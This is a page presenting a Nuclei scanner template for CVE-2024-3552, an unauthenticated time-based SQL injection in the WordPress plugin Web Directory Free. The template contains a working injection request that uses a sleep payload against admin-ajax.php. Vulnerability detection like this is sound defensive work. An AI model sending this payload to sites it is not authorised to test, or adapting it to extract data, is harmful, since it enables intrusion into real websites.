Web Directory Free < 1.7.0 - SQL Injection

ID: CVE-2024-3552

Severity: critical

Author: s4e-io

Tags: time-based-sqli,cve,cve2024,wordpress,wp-plugin,wpscan,wp,web-directory-free

Description

The plugin does not sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection with different techniques like UNION, Time-Based and Error-Based.

YAML Source

id: CVE-2024-3552

info:
  name: Web Directory Free < 1.7.0 - SQL Injection
  author: s4e-io
  severity: critical
  description: |
    The plugin does not sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection with different techniques like UNION, Time-Based and Error-Based.
  remediation: Fixed in 1.7.0
  reference:
    - https://vulners.com/wpvulndb/CVE-2024-3552
    - https://wpscan.com/vulnerability/34b03ee4-de81-4fec-9f3d-e1bd5b94d136/
  classification:
    cpe: cpe:2.3:a:salephpscripts:web_directory_free:*:*:*:*:wordpress:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: salephpscripts
    product: web_directory_free
    publicwww-query: "/wp-content/plugins/web-directory-free"
  tags: time-based-sqli,cve,cve2024,wordpress,wp-plugin,wpscan,wp,web-directory-free
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - "/wp-content/plugins/web-directory-free"
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=w2dc_get_map_marker_info&locations_ids[]=(select+if(1=1,sleep(6),0)+from+(select+1)x)

    matchers:
      - type: dsl
        dsl:
          - "duration>=6"
          - "status_code == 200"
          - regex('^\[\]$', body)
        condition: and
# digest: 4a0a00473045022100e2e368c19b8b83f161fb4ff87efa53d1a82bf6faa69df78d4a1d777c0029db5c022020dae07964b320f6e20c1f8d354eaca4db4f3d2f0260998a987d11cb5e24b70b:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-3552.yaml"

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